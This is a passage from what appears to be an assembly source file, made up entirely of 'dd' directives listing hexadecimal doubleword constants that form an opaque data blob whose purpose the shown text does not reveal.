24D8571Ah, 3607F891h, 0C0EE2146h dd 0C06B42DCh, 0F0C8C0B0h, 99DA4DACh, 0F447BB00h, 9D70A269h dd 13B11E5Eh, 2AB9407Bh, 8A4A140h, 0A24D1903h, 1640321h dd 0C98B0C28h, 60F06F35h, 0D41D17BFh, 791CA37Dh, 0C02620F0h dd 93E0335h, 0D1682810h, 0AA1907C8h, 0C7C92400h, 0A7D4BB91h dd 0CAA20367h, 0B44A3B1Bh, 0D0C16BA3h, 2BF9EC93h, 0BC8CD70Ch dd 0C01809EFh, 0A44BB021h, 50066EB2h, 234A56F1h, 97700018h dd 0EB7658Ah, 453E6A52h, 0C5607950h, 68D67039h, 184830C0h dd 0FF3BAC11h, 6745D3Ah, 2B8CB31Eh, 88AE5408h, 0E93348CEh dd 0BCBD2E00h, 97130332h, 292A751Ah, 228C04D1h, 6E35CE60h dd 8CDF023h, 2500A080h, 0B14335F9h, 0EE2C003Dh, 649FF896h dd 4618AB62h, 7BB067E0h, 5D2414EAh, 291D94DDh, 70091850h dd 7602A334h, 0C58889F1h, 10E842D5h, 11FF4268h, 8833745Ah dd 3ACD80AFh, 435840FFh, 0CB007F76h, 74C29CD9h, 0F7FC3104h dd 0E0466920h, 618A6068h, 7CDD7657h, 3E3F8B78h, 259380A8h dd 1DA7B1A0h, 40E9008Dh, 0B8DC054Fh, 7E039D26h, 3ABAAD04h dd 0CAE8A0AEh, 0D1FE87h, 6F7C9EAh, 0B8D8D6FDh, 77B03000h dd 49514C0Eh, 92891E24h, 0BEFD01BDh, 7A691DAFh, 68886780h dd 8E5E00F2h, 5DB09CB3h, 2FFC9D9Ah, 62F66701h, 9E63A3D5h dd 5F89E4h, 5DE11458h, 0E493BACCh, 0DB98F2E8h, 465A6D00h dd 0CF17A7B7h, 0DB84077Fh, 0C06EA6AEh, 198F7668h, 3BEC3Eh dd 1724CBB8h, 0E704BBEh, 0D22EAA4Ch, 0DDBA7C80h, 8C002634h dd 28EAC188h, 0E6431927h, 5CDE0037h, 0DBE6839Fh, 0BA33348Ch dd 5809F3h, 83D73C21h, 70A7DBC2h, 4C0024F8h, 20777EF6h dd 0C589A14h, 128995CFh, 7C0E9C30h, 8FC540D9h, 6F7E002Eh dd 63A10EDh, 3F432B11h, 0A6600809h, 0E803FF21h, 8BAD0015h dd 0F682E216h, 0D6302AF7h, 907C815Eh, 0E4F41D38h, 0E10304Ch dd 6D018011h, 505BB393h, 89803AAh, 0B268312Eh, 22418600h dd 0E5C4B36h, 0CAC11E80h, 0E82B02CEh, 84AE7F08h, 83A28031h dd 8C74DBE7h, 0E433AD44h, 21090383h, 7C9F2217h, 5D5084D8h dd 0BD3C80A0h, 8053D43Eh, 0DFE9EE19h, 0E8EC04h, 8B78496Ch dd 639D4240h, 7186BA00h, 3D53DE35h, 1E5A00C5h, 2517DDE7h dd 92028C23h, 0DB1D5738h, 0E68F60DCh, 0B2613BC6h, 280F5D00h dd 43D96E93h, 0DEE27B00h, 0B7A00365h, 6D760074h, 0DBEE2BCEh dd 0CF1D96F9h, 161CD0A8h, 0E4C080FAh, 615A604Fh, 0AF64C791h dd 0D6FE104Bh, 78013DE5h, 3CA949D5h, 0A77077CAh, 722B009Bh dd 65E10F57h, 6E70AA44h, 0C7EF3804h, 5780D117h, 0F8B3D0A6h dd 9BDA0157h, 88A1F20Ch, 42E6C83Bh, 9EE58501h, 0E0B6935Ch dd 3AA32880h, 0F2CF0C9Ah, 0FA315D7Ch, 0DBEF18CEh, 187B40A8h dd 11FFB54Eh, 61048352h, 35989559h, 37915AC3h, 0F0211608h dd 0CEC9609Ch, 0F8F75818h, 20EFA698h, 0A83E84F5h, 1A607B38h dd 7B5A8F18h, 3A5F8B1h, 2456504Dh, 71B89A65h, 75000A7Dh dd 0BD5A4E13h, 392C3412h, 0F7B5E9h, 0C220A1F3h, 0BB5543A9h dd 1EBF5600h, 9F458146h, 51E30084h, 6B17E578h, 7A0063BDh dd 7F941225h, 0C5824h, 0F12795B8h, 0A429494Fh, 0D343900h dd 9B26535h, 0BD97EF2h, 8CFA31F0h, 0D6857180h, 0A800DDA2h dd 32B122F8h, 1F1C8816h, 873FF21Fh, 60E3712Ah, 8A8C73B9h dd 82E84200h, 5635C3C4h, 3F490F03h, 87C074C8h, 0EBFB6A53h dd 2A5C8095h, 0B56F42h, 43ADB93Bh, 1A223DF6h, 2BB6FF00h dd 9997E43Ah, 0C78700BAh, 0F88BDCF0h, 7900A374h, 89831EAFh dd 7C194790h, 0A1E63E87h, 0B763030Fh, 0B0314A80h, 1760ED09h dd 87425328h, 0C582006Dh, 4013F1F9h, 0B760613Ch, 0E1EFD199h dd 755000AFh, 0AD0493Bh, 3774EA99h, 0BBA0C876h, 0B40312ACh dd 3E516E6Ch, 78A960FAh, 0B580FDF1h, 72478900h, 271909A9h dd 0EA79F0B4h, 0BAF0397Eh, 0F1977D80h, 3AA40EA8h, 0FC4E4100h dd 174DFF6Eh, 0D45C0AC8h, 30A2C498h, 44377DD0h, 0B28DF717h dd 9D107B00h, 0F847533h, 0D7663642h, 0B600258Eh, 0C2DB3A7Dh dd 16A9F700h, 66E41C09h, 9B100097h, 0AD0311C0h, 0DCFF967Eh dd 0AF002862h, 8974DCC4h, 0B886257Bh, 977E0063h, 9D9516CCh dd 70002D13h, 0C3EDEE76h, 1CF542C9h, 800EA531h, 3AE22B81h dd 0A600F95Eh, 33FF5473h, 746ED3C4h, 2F2900C3h, 898094E7h dd 0B00F5EEh, 19445BF7h, 0FE59C6h, 0E3049B1Ch, 0BD1B4397h dd 2DB32A0Fh, 0C5EC83E6h, 0A214A826h, 318600DEh, 0B0C21F91h dd 953CD8B8h, 75120015h, 0D6F4CBAh, 46851298h, 774100E1h dd 8C8AB67Dh, 0CF6B1C1Fh, 53AAEEC0h, 1ECE4206h, 4018E1FBh dd 6CDB4E07h, 0EBFA2665h, 0A0C310C0h, 760E9B60h, 0D7B00A18h dd 3BB04D55h, 2CCC1701h, 0CBF3085Ah, 1FB495B0h, 49E1A507h dd 0BB215B3Bh, 9960AC76h, 40270020h, 51612228h, 0BA3B692Fh dd 47460073h, 0EFEE1F2h, 0F9773Eh, 207FB01Eh, 1A6DC68Ch dd 0F004276h, 366A4FBFh, 2A4A2h, 3AEB09DFh, 4B39F3F4h dd 80FE483Ch, 55E83722h, 208D92h, 0BDDE59Dh, 7F26E58h dd 0B3B8B401h, 57CFC2ADh, 2AAABC0h, 0A09DC160h, 0B6603856h dd 1700CC6Bh, 0BCD44C3h, 11751Bh, 0FF7FC74Eh, 435CDA0Dh dd 323E0900h, 0AEE26A56h, 279F0071h, 0BF127DAAh, 0DA01434Bh dd 2117FFFAh, 10D8A3CDh, 405A0737h, 0F0C6A45Dh, 18B5CF59h dd 42610700h, 9229A7AFh, 0B0F80086h, 0B72D606Bh, 6400C185h dd 37369950h, 74CA1806h, 0B34E01B1h, 0C9D8C74Ch, 0E058C8AAh dd 0E9A2191Ch, 3B4D5Fh, 98339149h, 0AE84F4Eh, 18C8C030h dd 0AF133AF6h, 0DC00BFEAh, 0C29E3D11h, 0D85E0071h, 278AB817h dd 0F30039EBh, 0F141E7E0h, 1F7D893Eh, 405872A7h, 0BFBAFC03h dd 6AFC3528h, 7E3AC203h, 3D9A37Bh, 82317430h, 48C0548Fh dd 0E18E040h, 0F1403FB6h, 5A7400B5h, 882C457Ch, 0C503FA83h dd 0A49F6E0Ah, 74EA9054h, 171812D0h, 0F1ECFFh, 0DB0E921Fh dd 97401Dh, 1114431Eh, 2AF92D91h, 6E26D000h, 860173FCh dd 1ACB01D8h, 4106847Dh, 97D020B5h, 3625A600h, 0BE9C7CE2h dd 9A6401A5h, 0F99D8DF0h, 0C057023h, 6A8FF400h, 92726217h dd 3E110080h, 35A9AF1Eh, 0D804A6C6h, 3251E50Bh, 0C0E1CAC3h dd 489F59DEh, 10006A2Ch, 0D7C20A66h, 0B501B27Dh, 0B90D05C7h dd 52305F2Fh, 0A5C00091h, 929FAF5Eh, 36074AB7h, 45E73AD6h dd 75E06A00h, 5AC400ABh, 9378C6FDh, 0A800CE58h, 0E936F435h dd 12663C3Bh, 1C76A9Eh, 0ECF2ADECh, 150CD07Dh, 0B2B4F804h dd 0E6C0B866h, 7858E237h dd 0AA910026h, 82AD459Bh, 9600C5E0h, 0A0EB74B1h, 0F6B4F62h dd 20B2DA7Dh, 9E2765E0h, 5603BD46h, 409C1243h, 3AFFE08Ah dd 616C00D0h, 0CA44141Ah, 5AE0CEACh, 7E8B3138h, 0FFDF3Dh dd 0B43FFC24h, 8A31Bh, 399D3B5Ch, 1D953244h, 0D007ED76h dd 133C2030h, 0FD2FEFD0h, 5A0506FFh, 0A8955C51h, 0DE00B1F2h dd 0CDCAAEF4h, 3E8B01C1h, 3D00D675h, 5D810434h, 0D40CA413h dd 0F036468Dh, 0EA8EB002h, 890F007Dh, 14F4C259h, 1F07BF8Eh dd 0F9B4C0DBh, 8C52E1AFh, 0C2078E5h, 0FAA40F72h, 41E00A1Eh dd 0AAFDF3F6h, 5926F900h, 46888B58h, 2ABE006Fh, 0F8CCF02Bh dd 9A79DED5h, 9B023875h, 4D14799Ch, 6DE48797h, 0D0C55523h dd 0C0506FDEh, 7A31DB99h, 0E6060F4Eh, 0E3EE91D9h, 3C10318h dd 0E5908F9Ah, 223B1120h, 3378231Dh, 0ADAB3507h, 787BAF6h dd 8E7126FEh, 91E30721h, 0A9025F38h, 0E9D92420h, 0DA3947EDh dd 5DC383A5h, 0E0213F0Ch, 209E28h, 0A9430EDDh, 0E487866Ah dd 0E0539200h, 938686Bh, 1B1C9206h, 50AF48B5h, 0B9302FC3h dd 309E682Ch, 82EEEFF0h, 8C103910h, 1D55721Ch, 423C3226h dd 0EB9450F2h, 0ECD60040h, 93643A00h, 4A7A1174h, 58B10090h dd 0C54F6DD2h, 0CBF6570Eh, 78D37300h, 49441AA3h, 7F398AFh dd 0B0713E0h, 0A2C3A01Eh, 0A7F072D7h, 3CD06703h, 0F8EC2F7Ah dd 0FE05F441h, 0EE9A00B8h, 0FD420F9h, 0A9009B2Bh, 0D0F671ACh dd 0C237925h, 0B4751858h, 73EEA5C1h, 86FB5200h, 50117E65h dd 0B972301Fh, 3DEA721h, 0FBF8E1C0h, 1C9D4525h, 710F06Bh dd 0F0B18FBDh, 0D50A2CEEh, 0CC2A8D03h, 1CA975E1h, 797DC41h dd 0F33B3313h, 0EBE02CBCh, 9B013EFBh, 43AF593h, 62C4F9CEh dd 3CDF501Fh, 80A07410h, 0F80078ECh, 0CD979C21h, 0E913A96h dd 0B00AC77Eh, 0DB8C8E80h, 370090E7h, 0F38ADD76h, 60ECCD6h dd 2D6768FDh, 0B6EE495Eh, 0CFC61D06h, 0F8D02B2Fh, 0CC9400A3h dd 0BB6B0941h, 3100B60Bh, 45202EE9h, 653815h, 0D1701EDFh dd 74A71B42h, 0AFA09CA4h, 3C004BC0h, 5AAAB398h, 0B8AB0424h dd 0F8B50714h, 0D0B68908h, 0C2D91910h, 460B3900h, 0A4F78272h dd 0B24200E8h, 5B5C5980h, 60927AE4h, 0C50AE980h, 0EA9EED03h dd 0B073DDF9h, 0C0CD7598h, 0A2F69079h, 4302F465h, 0E19FBC07h dd 0F9D0A0E9h, 0F153B6h, 723AE752h, 6F1BEDC6h, 0A1DF7D01h dd 81D81ABFh, 2351DDh, 743A2100h, 0EB525F88h, 2D009AFAh dd 0C18BDD04h, 229508BBh, 0A8003CE2h, 654CDCD2h, 1B6B7Fh dd 0D94705A1h, 55206058h, 9B234114h, 322F04B4h, 0CC8831F0h dd 0A37300B4h, 92994EC2h, 130014C6h, 26E6E893h, 91DF03D1h dd 0D6A70EA8h, 0D0D50091h, 5FAAA842h, 19596331h, 21005DE2h dd 0FDC409A0h, 0CE404Fh, 79C683E0h, 7F5F0438h, 3EB4E70Ch dd 773059B0h, 0CD871C3Dh, 14F201D4h, 807247A1h, 6D52EFA1h dd 7C568D1Dh, 1068495Bh, 97019443h, 1482F6E4h, 0BFCD47Ah dd 0BFD0CF50h, 3E8B5308h, 797B9h, 0AD1C9F77h, 5F63DE1Fh dd 3DAC1019h, 28176C1h, 7A0EAA43h, 706DF48Ch, 2908C000h dd 6F875B48h, 413A01D1h, 0E1E3C72Bh, 1BF18058h, 7A8C0694h dd 0F5610037h, 6A3ADD9Ch, 66034778h, 385FE784h, 0E169264Bh dd 0D764404Ch, 4600B421h, 312288DAh, 1FA06B58h, 81D184EBh dd 0C9A665F9h, 0F8319225h, 1D190000h, 3B232F6h, 9B7A5648h dd 0E9008840h, 0BFE7CE91h, 60E1E4C8h, 337E3911h, 2A005637h dd 41ED93C9h, 7BAE7F9Bh, 0C2A618B7h, 0B2E429CDh, 0A9A11130h dd 1A8B307h, 6493D69Ch, 0FA3C034Eh, 8C3BFCE0h, 8F3C412h dd 71E56804h, 0A32538D0h, 4142600Fh, 279869F0h, 0F76AE400h dd 6F0DDDFDh, 0FFCA30A6h, 0C03EB671h, 0DC02F37Ch, 0F44469E1h dd 105440B5h, 0F8CD0057h, 29FD74ABh, 0A8076C72h, 0E2932DB7h dd 0FCC041FCh, 8D7350F1h, 0B6210140h, 96019F38h, 0F06457F9h dd 0C4B9648Ah, 0E544590Eh, 6B49E065h, 541D7F38h, 842CD05Dh dd 0BD0067F6h, 268FA79Ah, 0C7357D13h, 2B788318h, 81526883h dd 5788D5BBh, 104C98E2h, 385BC0CCh, 246B1571h, 44C12Dh dd 3AD0CA76h, 0BD1C4560h, 1E8068E4h, 46509363h, 0ECDD30A7h dd 0D6571FA9h, 0AD7F6804h, 54820748h, 0C8A723AFh, 0B31E29FEh dd 0D954BE2Eh, 89DD80FCh, 177075BFh, 9D380Dh, 5F3DB64Ah dd 32F51337h, 70670FACh, 3B56E510h, 0A9BD81C0h, 0AD316CBh dd 37C200D9h, 0FA108742h, 4079B560h, 248DEBA7h, 1ACF1F0h dd 3F782270h, 402412CEh, 710C1141h, 0A6763053h, 3B2D0919h dd 31015F00h, 8C040D96h, 0A5FF0274h, 7D6E9E68h, 6021B062h dd 0E0250C69h, 0F770EACDh, 0A4FD7826h, 4D483900h, 0FF38FBEh dd 4C41E876h, 0DEA62F21h, 0FC88500Fh, 0AE0067DDh, 8D17C3FFh dd 91E2EF10h, 40159E14h, 32032153h, 2000149Bh, 0AC0B858Eh dd 26F3AD6Eh, 6104905Ch, 0C9CC59FCh, 7E49D81Ah, 0BC0FE1EEh dd 406D8828h, 0A97F6948h, 0C0E35838h, 59F20096h, 0D1538BC4h dd 9B3DD200h, 0ED248D43h, 0B921528h, 0DC00C05Eh, 0DF2F3FCAh dd 913B137Ah, 0B8985467h, 0F20EF118h, 0E48E29h, 0EF8106ABh dd 7A3BD6D4h, 0D5126BE0h, 1820CAA7h, 0C5E20B3h, 0BA7215EFh dd 93787C49h, 11B6DE34h, 89F15880h, 0D8A726C9h, 0AB3840FCh dd 0FA189981h, 0DA81A812h, 0F494009Eh, 6C276B67h, 0E103FE6Fh dd 74F5FD1Bh, 4D5100A1h, 6964160Ch, 0FB006F20h, 7B46065h dd 4C531F3h, 6D4C82D6h, 2F85C167h, 3BD18029h, 99101C02h dd 0A55B0E26h, 2541C979h, 8C4A695h, 20EF0A1Fh, 54322Ah dd 8D94066Ch, 0EB13E628h, 0FC20F115h, 63322B57h, 8330296Fh dd 0E6E5FAD0h, 71F2C04h, 110B5C21h, 0E2195890h, 55120F07h dd 0B17060E5h, 226A37h, 4A4561F9h, 0C042F79Bh, 87A0EC99h dd 17039C7Dh, 0EF84513h, 58D12C56h, 382E00CEh, 140987F2h dd 3B01FD72h, 48EE40E7h, 0A980AD3Fh, 0A6BEE604h, 7B00EAECh dd 0A776E068h, 0EB3EBFh, 2132A3CBh, 0D05D10E4h, 57E30903h dd 184D905Bh, 49AA3E69h, 0A001BC9h, 6EC2E28Bh, 5610157h dd 0F2BD984Dh, 3AC82DFh, 0FFDB10E0h, 98D5542Ch, 94B38F00h dd 0DD2A2FEAh, 49404051h, 0D676BB47h, 1F24539h, 9D0190DCh dd 0FAE03169h, 8EA1008Fh, 8529B1ADh, 5A54E19Ah, 3F004188h dd 34DDE423h, 96B72Eh, 0D391487Fh, 78F464ABh, 0BC32682Ah dd 0B7A7B803h, 95F102Eh, 72DDEC11h, 670D2E03h, 0C2569100h dd 0E892EA57h, 12B095h, 0DEDA6C1Ah, 24041D3Eh, 8C8A7C24h dd 0BEF45E60h, 0ACED00A0h, 5031A791h, 6C9460C1h, 0C0EB9643h dd 0A13ABCh, 0DD0E159Ah, 0D2A82F7h, 3848E31Ch, 35B30282h dd 7330C05Eh, 2F8F00A1h, 0C5A7193Bh, 0FE263AB1h, 3F0238C6h dd 44E199BCh, 542C00F4h, 1911AD50h, 3A00BA84h, 8BE74671h dd 0B1E20640h, 0B02700D4h, 0BDF7EF02h, 31FC9901h, 0D51F7F67h dd 0DDAC5887h, 0D6EAD39Bh, 34C098A2h, 0C848A910h, 26B68084h dd 48270C1Bh, 8A870074h, 1741B060h, 2BECC3FEh, 0E852C000h dd 0B2C66B3Ah, 0D940A894h, 61DB056Eh, 88336774h, 0E807916Ch dd 0B4BF37D0h, 47B2C40h, 0DE8CBBDh, 7A1CE400h, 78B1114Bh dd 959E9207h, 941059B0h, 9BA5012Bh, 0FEBF86BAh, 0E5083Eh dd 68F0D0E4h, 0A52DD7CAh, 89EEE230h, 80F67Bh, 0E339BF01h dd 0B7FBA9C8h, 0D4F06F18h, 96E83CC2h, 830540D8h, 3E13095Ch dd 0CC008C2Ch, 11299878h dd 63DD13AAh, 565C0004h, 0C0ABC292h, 4F816817h, 7CC410h dd 5B0A114Ch, 0FB15DDF2h, 9893B660h, 8034997Ch, 2195A613h dd 0F906EABFh, 0D8A17CABh, 0FC365841h, 40024058h, 3ED3A973h dd 24013864h, 0B7A34670h, 0A443FD06h, 12BDD1B2h, 38031C62h dd 7EFB9D54h, 95C8DC88h, 0DABF38h, 0A5138B9Ch, 9AA49FA7h dd 0CFF62E58h, 0C741F04h, 1F815BC2h, 88E653h, 6D35BA13h dd 0CEF20FDh, 60B5A163h, 14A075A9h, 18798C31h, 418DDE01h dd 0C8941A29h, 0BB875180h, 93FA4B83h, 0A5EB1E01h, 4091983Eh dd 42580872h, 84CB5700h, 0DABBD2F1h, 2600DFB8h, 25230E35h dd 298ECAC4h, 84AB1Fh, 45461B38h, 900E602Bh, 21175742h dd 0E2102A8Ch, 0D7470h, 8B94C661h, 0E88D1403h, 0AD20B4A0h dd 2C0256E4h, 9E46B6EAh, 0BECE85FBh, 0CE5BB800h, 78DDFF0h dd 97600537h, 9E0760C4h, 0D0A6A7E8h, 0F70C56EAh, 91B37408h dd 0A10C00B9h, 0B7AE866Fh, 774A8E10h, 406E604Eh, 7BE496ADh dd 3F4902E6h, 0B932DFFh, 0FD7E2864h, 6F83400h, 0C0ADDB3Eh dd 0AC3A0641h, 49494E5Fh, 0FF094F90h, 64D5112Ah, 2CEB003Ch dd 3D012271h, 511E9C25h, 3880B356h, 24CCFFC0h, 2E5BE24Eh dd 19CCDD2h, 7552EE8Bh, 140017B8h, 7499FEE4h, 34B20FA3h dd 10865212h, 0D80079AEh, 1705E8B7h, 59E060h, 43078CC6h dd 6A5ED37h, 443CE324h, 3E6DCC03h, 0B2591DABh, 1471800Bh dd 0AF02C227h, 0FB30B109h, 20C884A6h, 0DB0068A2h, 0ED19B429h dd 98007094h, 3AB530A5h, 76BD7261h, 78CCA0FDh, 0AFC802CAh dd 7109920h, 0F3AEBC90h, 4840F548h, 0C894F0h, 7BC9B172h dd 9C0262h, 4E3BD08Ah, 0AE2C66F1h, 3E08096h, 8D5B79h, 0A2AD6F31h dd 0BFE2DA23h, 98881300h, 109F52FCh, 639C357h, 0A3E0DA19h dd 69008D0Bh, 78F176B4h, 9C75DF64h, 0A987BE28h, 90590509h dd 4333EA21h, 0C16B3907h, 90EB1F52h, 12963B8Ch, 1ECB084Fh dd 0C99943C4h, 0A8814629h, 1450626Ch, 8270345Fh, 0C4E2F1C5h dd 1C69F288h, 40EB78ADh, 854CA502h, 0F74CC157h, 142F0058h dd 0D6F20901h, 7B2A1744h, 39603006h, 0D7F25EE5h, 64B54B07h dd 0D2642D30h, 0DD14C8C0h, 635A020Fh, 0ACAF198Bh, 0AEA5F098h dd 0F08A5802h, 513AD255h, 495D005Ch, 2B97C231h, 0B058B500h dd 358EA930h, 748D3FF6h, 0DC124h, 837351FDh, 0DD4B1F7Dh dd 10DB3022h, 250075B5h, 9896FF84h, 5CA99DB4h, 2400302Ch dd 38C18D2Eh, 630B749Ch, 51E0A7Eh, 0FC982FF2h, 0C2A9280Dh dd 4650528h, 0CCFFD5A8h, 0E34863F4h, 2578004h, 0E312F54h dd 7222B7A8h, 7DACA100h, 0FC7B6466h, 0C52C5F3Ch, 0D5003033h dd 0FB4DCDE6h, 0CB005615h, 0A378EE0h, 31C6DD07h, 94680F3Fh dd 0D84313AFh, 0EC6F383Bh, 0D5C1001Ch, 85C0EBAEh, 3200FB88h dd 5E0E425Bh, 17114E0h, 0FA7E31CBh, 0F963C6C4h, 1382DE5h dd 0B0A31B32h, 7CF01233h, 1D3E8ABh, 13E25957h, 0FC0FC0A1h dd 1F3DD994h, 0C4434E5Dh, 0B1542882h, 51D05BE1h, 805C91E6h dd 2416DF14h, 0AB02B5F6h, 7E6D7F1Dh, 0FD00E195h, 26007073h dd 0F43EFFF2h, 180F8E5Eh, 6E659C48h, 0ADD4C0BDh, 0FC93B83Ah dd 0F85701D6h, 0D0F0CEEh, 4F3C6495h, 71F71A0Fh, 5B45A0C5h dd 141C3B19h, 0E0315FD0h, 3E208FC0h, 2E00D916h, 0E8B97FF9h dd 0E62DF642h, 0C734247Bh, 226C003Dh, 1F0BFF13h, 83ACDF48h dd 0E8FEB337h, 174EB8F6h, 90E1C084h, 6D09D9FCh, 31C57300h dd 0E3DDE924h, 0D2A51CE0h, 26A640AAh, 0B6E8FB28h, 35360C00h dd 7D81C72Bh, 8388940Dh, 0A134AFB4h, 25BCB5E0h, 0F6F49E3Bh dd 0B88D9100h, 7FA64F0Bh, 3ABD00A4h, 32DDA3F0h, 5F7BC690h dd 75CC020Ch, 4CDA97Eh, 7959EEF2h, 62EFC0B3h, 0D0057E1h dd 48BEE3FCh, 916A3Ch, 2CC9AD76h, 0CBE1A045h, 0D7FAC9C3h dd 0A2B4835Bh, 86665h, 64AF2220h, 804814EAh, 0E1013B02h dd 604193C9h, 25692330h, 2820E231h, 64941D34h, 0C682C81Ch dd 18509F40h, 2832E1A2h, 22CE37Bh, 0D91B54FAh, 0BEE0F2A6h dd 7C0198E7h, 83AB047Eh, 546DDAAEh, 68298D00h, 0CC3AD170h dd 0E804537Fh, 0B9AB20EAh, 90379940h, 72039B29h, 2BD7E61Dh dd 12CCB8B6h, 0B4E490FBh, 54F860CCh, 7D0B6FCDh, 0D52949h dd 91BD19F0h, 0C4E14897h, 0A272480h, 6917CA4Dh, 548C4353h dd 20E94A99h, 0FD2DAE0h, 817FF438h, 2B636008h, 0B8609414h dd 35398845h, 1984AB19h, 0C314B448h, 80001DACh, 830C413Dh dd 176C73CBh, 200D5F4Fh, 0E7D39F0h, 217ED00h, 4520E469h dd 75F72CDFh, 0C61E405Ch, 0AD606BE9h, 0AB5B04E0h, 8EA8B9D5h dd 52608F70h, 0B8CC4765h, 0B3622400h, 0FA192D16h, 29AC6075h dd 12849268h, 951A8C00h, 9B39236Dh, 61FC004Bh, 176F08B3h dd 0A49EDF20h, 0BD0AE80h, 9D79A05h, 74DEE599h, 3410CC18h dd 0AD5FED04h, 0D8C17606h, 8C38C2A6h, 0B56280DCh, 0E868240h dd 0D4807C9Ch, 0C7FE64A8h, 0D7172446h, 8BA11FE7h, 0F41012EBh dd 5B0E0A88h, 0F7964F3h, 8424053h, 0F77B2Bh, 9EEBE1ABh dd 88644B58h, 20A74512h, 0AC303C24h, 7AEBB7Eh, 68D31889h dd 625E3095h, 8500D482h, 0C1EBDA7Dh, 7C0E7EC9h, 0BD1E2654h dd 273C11F8h, 4F04A00Dh, 984BF56h, 3194A9CDh, 0E980CE01h dd 5CCBE81Bh, 0A111A20Eh, 5F31B86Eh, 81C0B135h, 0E2B7F254h dd 0A1FC1003h, 0A0600BCh, 90428508h, 513FB1B2h, 0A7B586B4h dd 0B149F3A2h, 0F51880BCh, 0E7140F23h, 0DCFBFE05h, 0EFC38DCCh dd 1C69775Ah, 0C0713437h, 4E27E9DBh, 921670CDh, 0CC006A5Bh dd 0E79723C0h, 0D44C508Eh, 167C78D7h, 7A02A9Eh, 5CF02Fh dd 0DDC29A59h, 47638305h, 0E0B068E7h, 0A7FB09D7h, 0B4102B5Fh dd 5C00E4A3h, 199D8D3Ch, 39D0B61Bh, 0F89F8FC6h, 154A405h dd 0FECC43B3h, 0DBD7F0BDh, 12CB73Ch, 0DF6CABF9h, 18205426h dd 5FD688C8h, 38C584B0h, 0CCE4E199h, 3C1A3E2Bh, 0B0133080h dd 65BD762Fh, 82CD8C39h, 75E91633h, 5E9F22A2h, 0C4C58E80h dd 0C700766Bh, 0D0D8ECFEh, 6928409Bh, 0B080802Dh, 73571F0Ch dd 801C9448h, 6CA24070h, 0EF7B003Ah, 4B979BB2h, 0F603B3CFh dd 75C69377h, 6972A5h, 0E7CD5614h, 94AB39C0h, 818C3003h dd 903DD84Ch, 0A2FC9AEh, 46F42A28h, 0B033C80h, 0A4CA01D1h dd 0D02E22E8h, 1200F898h, 0EE14556Dh, 2D255715h, 242FB3A1h dd 0EB8A4940h, 0CA139790h, 7488E099h, 0D0470007h, 0FE93CBCh dd 3BB0A3E5h, 0EED5816h, 3E3DC90h, 0BEBC1260h, 305716F0h dd 0CBE711C8h, 0EC183Dh, 6C22C212h, 0E82C94F8h, 2BF00014h dd 0B3506EAAh, 0C400605Bh, 41700EFEh, 0F1489Ah, 2F723249h dd 0E2FBFC06h, 83B63600h, 0F9B21CB4h, 80EB00C2h, 0CA4FE0A6h dd 410191E6h, 0AA71031Fh, 0EFE0EC19h, 530E0CA9h, 29186317h dd 42E1CB01h, 0D68D6141h, 0AC256080h, 0A2FC74A7h, 37BF2900h dd 5B0DF92h, 0E86503CBh, 8B6017Eh, 0B72680ACh, 762ED0E7h dd 53002212h, 7FCBA624h, 0C28D30FCh, 0A3F59951h, 48D8B630h dd 127F024h, 7C17B42Ch, 80FF8DAAh, 2873AD29h, 16447F4h dd 2E4B554Fh, 0C0C430C2h, 0CF0097F1h, 0A8EEB0C8h, 0A610AAh dd 3617CEBh, 2BBD277Fh, 0A2006870h, 0EA89CCBFh, 0C8CDA0h dd 7DF9E0B6h, 62CA1808h, 2FF168C1h, 0B060A1ECh, 5C4D3D7Fh dd 467A007Dh, 9F331742h, 0A0302C90h, 6C9299FCh, 6F961D0Bh dd 0C9183F50h dd 87DA49FDh, 544AF700h, 7E3FE460h, 0B7FB05B6h, 1D26F47Ah dd 0EA8880D8h, 68461264h, 47674E00h, 0FA93A238h, 0D5B20EDBh dd 25E1E1ECh, 47EEBDBBh, 0AC49818Ch, 4481869Bh, 3771617Dh dd 0C008297Ah, 0C1EAB538h, 602B5500h, 4C5D03A6h, 0E157381h dd 9880F74Ah, 8300B894h, 0CBEF61Ch, 3A6031BBh, 0B4895141h dd 63FB0562h, 7CFD3A6h, 4E2D24A4h, 0AA4E2B60h, 79C053F4h dd 0E627089Eh, 61D21C44h, 1E39129Bh, 1DCFC120h, 80267A84h dd 5D8E3259h, 262B8h, 41A8F0Eh, 0E744E285h, 31405900h dd 2C3971AAh, 0AF0F1FBEh, 9E397099h, 0FC00C6ABh, 5940733Dh dd 0E4850D1h, 0D3C38531h, 1827619Ah, 0B9C8B037h, 501F52Ch dd 0EE04FB7Eh, 0DEF8867Fh, 0B33C14C9h, 0C682C47Bh, 3AC0439Ah dd 5C756B65h, 7656AF07h, 0D1C0BAA6h, 7DE602h, 39736877h dd 0FB4A589Ah, 94EAD73Dh, 40F5D2h, 0A3BADB09h, 36FFC0Fh dd 3A0242Ah, 0DE8052D2h, 443D8378h, 6EB7805Ch, 8E73B18Ah dd 0E2492D7h, 1C55CF28h, 2A18260h, 0E4008067h, 5135FF0h dd 5E3E8Bh, 0D114E5BFh, 4C70819Ah, 4A0D9209h, 0AE100080h dd 918D11C5h, 93C0004Ch, 42B6693Fh, 527B0301h, 5344706Bh dd 0D7F12181h, 80FEBC23h, 9B247211h, 507E9F7Bh, 73FF812h dd 0A2266C68h, 80AC6A9Ah, 0FF74E50Dh, 12001D10h, 85468A9Eh dd 5A401Ch, 3CD4C937h, 0ECACB3A2h, 5BA6C801h, 69DFF49Bh dd 4DD8D2D1h, 57C402F0h, 20793375h, 0B4B9CA0h, 0A400564Ch dd 0A751E886h, 0A4D2C387h, 0EC1C90ACh, 0A5F50065h, 0FFB3B419h dd 0B2004181h, 0E35F598Dh, 609AC936h, 0F8DB3033h, 0F50201ADh dd 7919E68h, 0B608799h, 9719A930h, 2D7875h, 0C33B98DBh dd 4E6C0153h, 0F19DF900h, 0C006A6DCh, 8ABD0FC9h, 19003BB4h dd 98E239F4h, 9C53C426h, 0BAFC1787h, 0E3C6F381h, 7D2032h dd 985794ADh, 8D9970F0h, 0C889A505h, 0FD003A28h, 39D462A0h dd 0B90100E8h, 0A6E6C4DBh, 0FC123314h, 0CC00DD93h, 0E3491F8h dd 5A589Fh, 0D4ACC215h, 6944C918h, 340F5E1Eh, 0C084470Fh dd 0D342B8FAh, 5674005Ah, 32582F2Dh, 0B27B91C0h, 41A08F30h dd 0B06C5709h, 33800030h, 3761F417h, 45F6A6DAh, 0FB9E4891h dd 0A4CD8203h, 0AFDF98ACh, 7C8101EBh, 81DD36Bh, 0F5BCCC93h dd 